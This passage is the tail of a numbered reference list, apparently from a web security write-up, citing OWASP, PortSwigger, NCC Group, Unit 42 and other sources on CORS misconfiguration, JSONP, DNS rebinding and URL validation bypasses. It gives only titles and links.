    503 - [6] [OWASP WSTG: Testing Cross-Origin Resource Sharing](https://owasp.org/www-project-web-security-testing-guide/latest/4-Web_Application_Security_Testing/11-Client-side_Testing/07-Testing_Cross_Origin_Resource_Sharing)
    504 - [7] [Hacking It Out: When CORS Won't Let You Be Great](https://medium.com/netscape/hacking-it-out-when-cors-wont-let-you-be-great-35f6206cc646)
    505 - [8] [PayloadsAllTheThings - CORS Misconfiguration](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/CORS%20Misconfiguration)
    506 - [9] [Every bug bounty hunter should know: the evil smile of the JSONP over the browser's Same Origin](https://medium.com/entersoftsecurity/every-bug-bounty-hunter-should-know-the-evil-smile-of-the-jsonp-over-the-browsers-same-origin-438af3a0ac3b)
    507 - [10] [Impact of DNS over HTTPS (DoH) on DNS Rebinding Attacks - NCC Group](https://www.nccgroup.com/research-blog/impact-of-dns-over-https-doh-on-dns-rebinding-attacks/)
    508 - [11] [New, crazy payloads in the URL Validation Bypass Cheat Sheet](https://portswigger.net/research/new-crazy-payloads-in-the-url-validation-bypass-cheat-sheet)
    509 - [12] [Private Network Access preflight is on hold](https://developer.chrome.com/blog/pna-on-hold)
    510 - [13] [Advanced CORS Techniques (archived)](https://web.archive.org/web/20260000000000id_/https://www.corben.io/advanced-cors-techniques/)
    511 - [14] [Think Outside the Scope: Advanced CORS Exploitation Techniques](https://medium.com/bugbountywriteup/think-outside-the-scope-advanced-cors-exploitation-techniques-dad019c68397)
    512 - [15] [Introducing the URL Validation Bypass Cheat Sheet](https://portswigger.net/research/introducing-the-url-validation-bypass-cheat-sheet)
    513 - [16] [DNS Rebinding: The Hijacking of Trust](https://unit42.paloaltonetworks.com/dns-rebinding/)
    514 - [17] [Gerald Doussot - State of DNS Rebinding Attacks & Singularity of Origin - DEF CON 27](https://www.youtube.com/watch?v=y9-0lICNjOQ)
    515 - [18] [PortSwigger](https://portswigger.net/web-security/cross-site-scripting/stored)